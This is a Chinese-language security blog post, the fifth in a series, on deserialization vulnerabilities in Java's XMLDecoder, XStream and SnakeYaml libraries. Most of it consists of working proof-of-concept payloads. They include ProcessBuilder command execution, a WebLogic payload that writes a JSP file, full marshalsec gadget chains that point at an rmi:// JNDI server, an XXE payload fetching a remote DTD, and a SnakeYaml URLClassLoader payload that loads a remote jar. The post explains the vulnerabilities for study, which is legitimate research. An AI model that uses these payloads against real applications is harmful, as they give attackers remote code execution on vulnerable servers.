Java 反序列化漏洞始末(5)— XML/YAML

哔哔两句

前面把反序列化漏洞里的一大巨头“JSON”的主要问题给总结了一下,XML 和 YAML 在反序列化漏洞中也能算得上是个很常见的问题。

我例举出几个几个 XML 和 YAML 的反序列化漏洞。

  1. XMLDecoder
  2. XStream
  3. SnakeYaml

在我遇到的项目里,这三个依赖库最常见。

其中 XMLDecoder 不同于其他几个,这个更像是反射漏洞,虽然本质上都是可以反序列化回序列化的数据,但 XMLDecoder 和 XStream 可以自由的控制类、方法、参数,SnakeYaml 一类就同 Jackson 和 fastjson 一样,本质上是调用了 get、set 和构造方法。

下面我对这3个类库的漏洞做一个演示和分析

XMLDecoder

在 Weblogic 前几次曝光的漏洞中,就是 XMLDecoder 导致的。XMLDecoder 是 JDK 的一个对象转XML的工具。

我先写上两段简单的demo。

Encode

import java.beans.XMLEncoder;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/4/24 12:09
 */
public class Test {

    public static void main(String[] args) throws IOException, InterruptedException {

        HashMap<Object, Object> map = new HashMap<>();
        map.put("123","aaaa");
        map.put("321",new ArrayList<>());

        XMLEncoder xmlEncoder = new XMLEncoder(System.out);
        xmlEncoder.writeObject(map);
        xmlEncoder.close();

    }
}

1572007030(1).jpg

这是一段用 XMLEncoder 生成 hashmap 对象 xml 的代码。

<java version="1.8.0_131" class="java.beans.XMLDecoder">
 <object class="java.util.HashMap">
  <void method="put">
   <string>123</string>
   <string>aaaa</string>
  </void>
  <void method="put">
   <string>321</string>
   <object class="java.util.ArrayList"/>
  </void>
 </object>
</java>

再拿这个生成的xml,用XMLDecoder解析

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/4/24 12:09
 */
public class Test {

    public static void main(String[] args) throws IOException, InterruptedException {
        String s = "<java version=\"1.8.0_131\" class=\"java.beans.XMLDecoder\">\n" +
                " <object class=\"java.util.HashMap\">\n" +
                "  <void method=\"put\">\n" +
                "   <string>123</string>\n" +
                "   <string>aaaa</string>\n" +
                "  </void>\n" +
                "  <void method=\"put\">\n" +
                "   <string>321</string>\n" +
                "   <object class=\"java.util.ArrayList\"/>\n" +
                "  </void>\n" +
                " </object>\n" +
                "</java>";
        StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s);
        XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream);
        Object o = xmlDecoder.readObject();
        System.out.println(o);

    }
}

输出的结果是

{123=aaaa, 321=[]}

成功把刚才的map对象给反序列化回来了。

自己看一下生成出来的 xml 稍微懂点代码的都能看得出来,标签里指定了类名,方法名,参数等信息。

所以可以完全可以通过修改他们来去执行代码了。

<java version="1.8.0_131" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
    <void index="0"><string>calc</string></void>
  </array>
  <void method="start"></void>
 </object>
</java>

比如这就是一个执行 calc 命令的 payload。

看代码里的 object 标签,class 的值就是要被实例化的全类名

array 标签里就是 ProcessBuilder 对象的构造参数

然后 void 标签指定了 method 参数为 start

这些加起来,相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

现在再看 weblogic XMLDecoder 的一些 payload 就很容易看懂了

比如

<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string>
<void method="println">
<string><![CDATA[ blue ]]></string>
</void><void method="close"/>
</object>
</java>

转成代码实际上就是

    java.io.PrintWriter x = new java.io.PrintWriter("servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp");
    x.println("blue");
    x.close();

XStream

XStream 和 XMLDecoder 差不多,都是 Java 对象和 XML 互转的库,在审计java项目时也经常能见到。

比较出名的几个项目 Bamboo 、 Struts2 、Jenkins 都有用到它,且曝出过漏洞。

XStream 有几个 CVE ,分别是 RCE、XXE、DOS,由于主题是反序列化,所以不过多介绍 XXE 和 DOS。

XXE
影响 1.4.8 及之前版本。

com.thoughtworks.xstream.io.xml.DomDriver domDriver = new com.thoughtworks.xstream.io.xml.DomDriver();
String x = "<!DOCTYPE foo [<!ELEMENT foo ANY >\n" +
           "<!ENTITY  % xxe SYSTEM \"http://127.0.0.1:2333/evil.dtd\" >\n" +
           "%xxe;]>\n" +
           "<foo>1</foo>";
domDriver.createReader(new StringReader(x));

漏洞参考 http://x-stream.github.io/CVE-2016-3674.html

DOS
影响 1.4.9 及之前版本

XStream xstream = new XStream();
xstream.fromXML("<void/>");
xstream.fromXML("<string class='void'>Hello, world!</string>");

RCE

它的 CVE 编号是 CVE-2013-7285,可以影响到 1.4.10 版本。

最近还有一个新的 CVE 编号 CVE-2019-10173,给出的 payload 和 CVE-2013-7285 没啥区别。

应该是 1.4.10 版本更新的时候加了一个通过 XStream.setupDefaultSecurity 方法 初始化安全框架的功能。

但默认不被调用,依然可以攻击 1.4.10 版本的 XStream。

    XStream xstream = new XStream();
    String x = "<sorted-set>\n" +
            "    <dynamic-proxy>\n" +
            "        <interface>java.lang.Comparable</interface>\n" +
            "        <handler class=\"java.beans.EventHandler\">\n" +
            "            <target class=\"java.lang.ProcessBuilder\">\n" +
            "                <command>\n" +
            "                    <string>calc</string>\n" +
            "                </command>\n" +
            "            </target>\n" +
            "            <action>start</action>\n" +
            "        </handler>\n" +
            "    </dynamic-proxy>\n" +
            "</sorted-set>";

    xstream.fromXML(x);

使用 1.4.10 版本解析这个 POC,就会执行 calc 命令。

其实 java unmarshal 反序列化利用工具“marshalsec” 里就可以生成 XStream 的很多 gadgets。

1573743180(1).jpg

CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO,
BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBe
an 

实现的这些接口都是可以生成的 gadgets。

其中一般项目中比较常见的有 SpringAbstractBeanFactoryPointcutAdvisor、CommonsBeanutils、ImageIO、SpringPartiallyComparableAdvisorHolder

ImageIO

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

用 1.4.10 版本的 XStream 解析这段 POC 就会执行 calc 命令,因为POC加载的类有包含“javax.crypto.”包名,被列入了 XStream 的黑名单,所以无法在 > 1.4.10 版本中触发。

CommonsBeanutils

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils rmi://127.0.0.1:2333/exp

<java.util.PriorityQueue serialization="custom">
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class="org.apache.commons.beanutils.BeanComparator">
        <property>databaseMetaData</property>
        <comparator class="java.util.Collections$ReverseComparator"/>
      </comparator>
    </default>
    <int>3</int>
    <com.sun.rowset.JdbcRowSetImpl serialization="custom">
      <javax.sql.rowset.BaseRowSet>
        <default>
          <concurrency>1008</concurrency>
          <escapeProcessing>true</escapeProcessing>
          <fetchDir>1000</fetchDir>
          <fetchSize>0</fetchSize>
          <isolation>2</isolation>
          <maxFieldSize>0</maxFieldSize>
          <maxRows>0</maxRows>
          <queryTimeout>0</queryTimeout>
          <readOnly>true</readOnly>
          <rowSetType>1004</rowSetType>
          <showDeleted>false</showDeleted>
          <dataSource>rmi://127.0.0.1:2333/exp</dataSource>
          <params/>
        </default>
      </javax.sql.rowset.BaseRowSet>
      <com.sun.rowset.JdbcRowSetImpl>
        <default>
          <iMatchColumns>
            <int>-1</int>
            <int>-1</int>
            <int>-1</int>
            <int>-1</int>
            <int>-1</int>
            <int>-1</int>
            <int>-1</int>
            <int>-1</int>
            <int>-1</int>
            <int>-1</int>
          </iMatchColumns>
          <strMatchColumns>
            <string>foo</string>
            <null/>
            <null/>
            <null/>
            <null/>
            <null/>
            <null/>
            <null/>
            <null/>
            <null/>
          </strMatchColumns>
        </default>
      </com.sun.rowset.JdbcRowSetImpl>
    </com.sun.rowset.JdbcRowSetImpl>
    <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

CommonsBeanutils 的这个 gadgets 利用的是 JNDI,并且没有类在黑名单里,所以可以打全版本,用最新的 1.4.11.1 都可以,只要没用 XStream.setupDefaultSecurity

SpringPartiallyComparableAdvisorHolder

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream SpringPartiallyComparableAdvisorHolder rmi://127.0.0.1:2333/exp

<map>
  <entry>
    <org.springframework.aop.target.HotSwappableTargetSource>
      <target class="org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder">
        <advisor class="org.springframework.aop.aspectj.AspectJPointcutAdvisor">
          <advice class="org.springframework.aop.aspectj.AspectJAroundAdvice" serialization="custom">
            <org.springframework.aop.aspectj.AbstractAspectJAdvice>
              <default>
                <argumentsIntrospected>false</argumentsIntrospected>
                <declarationOrder>0</declarationOrder>
                <joinPointArgumentIndex>0</joinPointArgumentIndex>
                <joinPointStaticPartArgumentIndex>0</joinPointStaticPartArgumentIndex>
                <aspectInstanceFactory class="org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory">
                  <beanFactory class="org.springframework.jndi.support.SimpleJndiBeanFactory">
                    <logger class="org.apache.commons.logging.impl.NoOpLog"/>
                    <jndiTemplate>
                      <logger class="org.apache.commons.logging.impl.NoOpLog"/>
                    </jndiTemplate>
                    <resourceRef>true</resourceRef>
                    <shareableResources>
                      <string>rmi://127.0.0.1:2333/exp</string>
                    </shareableResources>
                    <singletonObjects/>
                    <resourceTypes/>
                  </beanFactory>
                  <name>rmi://127.0.0.1:2333/exp</name>
                </aspectInstanceFactory>
                <declaringClass>java.lang.Object</declaringClass>
                <methodName>toString</methodName>
                <parameterTypes/>
              </default>
            </org.springframework.aop.aspectj.AbstractAspectJAdvice>
          </advice>
        </advisor>
      </target>
    </org.springframework.aop.target.HotSwappableTargetSource>
    <org.springframework.aop.target.HotSwappableTargetSource reference="../org.springframework.aop.target.HotSwappableTargetSource"/>
  </entry>
  <entry>
    <org.springframework.aop.target.HotSwappableTargetSource>
      <target class="com.sun.org.apache.xpath.internal.objects.XString">
        <m__obj class="string">疵&#x5;&#x8;&#xb;</m__obj>
      </target>
    </org.springframework.aop.target.HotSwappableTargetSource>
    <org.springframework.aop.target.HotSwappableTargetSource reference="../org.springframework.aop.target.HotSwappableTargetSource"/>
  </entry>
</map>

SpringPartiallyComparableAdvisorHolder 利用 JNDI 执行代码,需要 spring aop 依赖,可影响到 1.4.11 最新版本。

SpringAbstractBeanFactoryPointcutAdvisor

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:2333/exp

<map>
  <entry>
    <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor serialization="custom">
      <org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
        <default>
          <adviceBeanName>rmi://127.0.0.1:2333/exp</adviceBeanName>
          <beanFactory class="org.springframework.jndi.support.SimpleJndiBeanFactory">
            <logger class="org.apache.commons.logging.impl.NoOpLog"/>
            <jndiTemplate>
              <logger class="org.apache.commons.logging.impl.NoOpLog"/>
            </jndiTemplate>
            <resourceRef>true</resourceRef>
            <shareableResources>
              <string>rmi://127.0.0.1:2333/exp</string>
            </shareableResources>
            <singletonObjects/>
            <resourceTypes/>
          </beanFactory>
        </default>
      </org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
      <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
        <default>
          <pointcut class="org.springframework.aop.TruePointcut"/>
        </default>
      </org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
    </org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
    <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor reference="../org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"/>
  </entry>
  <entry>
    <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor serialization="custom">
      <org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
        <default/>
      </org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
      <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
        <default>
          <pointcut class="org.springframework.aop.TruePointcut" reference="../../../../../entry/org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor/org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor/default/pointcut"/>
        </default>
      </org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
    </org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
    <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor reference="../org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"/>
  </entry>
</map>

SpringAbstractBeanFactoryPointcutAdvisor 同样是利用 JNDI 执行代码,需要有 spring aop 的依赖,可影响到 1.4.11 最新版本。

SnakeYaml

大多数 java 项目用来处理数据基本上都是 xml 和 json 两种格式,yaml 相对来说少见一点,在我做过的一些代码审计项目里,使用 yaml 处理库最常见的就是 SnakeYaml,虽然还有 jyaml、YAMLBeans 之类的库,但我在真实环境里挺少有见到使用的。

使用方法

先导入 snakeyaml 依赖

<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.17</version>
</dependency>

然后输出序列化一个 javabean

    Yaml yaml = new Yaml();
    Person person = new Person();
    person.name="giao";
    person.length=18;
    String dump = yaml.dump(person);
    System.out.println(dump);

输出结果为 !!simple.Person {length: 18, name: giao}

!!后面跟全类名,{}里是属性名和属性值,中间使用逗号分隔。

其实跟 jackson 和 fastjson 没啥区别。

特点在于它没有黑名单,不能设置私有属性,不能使用构造方法触发的 gadgets。

所以在 jackson、fastjson 这些 unmarshal 一类的 gadgets 大部分都可以拿来就用。

比如最常见的JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2333/exp', autoCommit: true}

注意在构造 payload 的时候,该留空格的地方要留空格,snakeyaml 对格式校验比较严格,不然会报错。

1573828615(1).jpg

反序列化利用工具 marshalsec 也提供了 snakeyaml 的一些 gadgets。

[SpringPropertyPathFactory, SpringAbstractBeanFactoryPointcutAdvisor, XBean, CommonsConfiguration, C3P0WrapperConnPool, C3P0RefDataSource, JdbcRowSet, ScriptEngine, ResourceGadget]

大多数都是利用 JNDI 执行代码的,jdk 的有一个 ScriptEngine ,利用的是远程加载 jar 包。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.SnakeYAML ScriptEngine http://127.0.0.1:2333/

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]

1573829181(1).jpg

总结

没得总结,懒得写了,就这样吧!

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。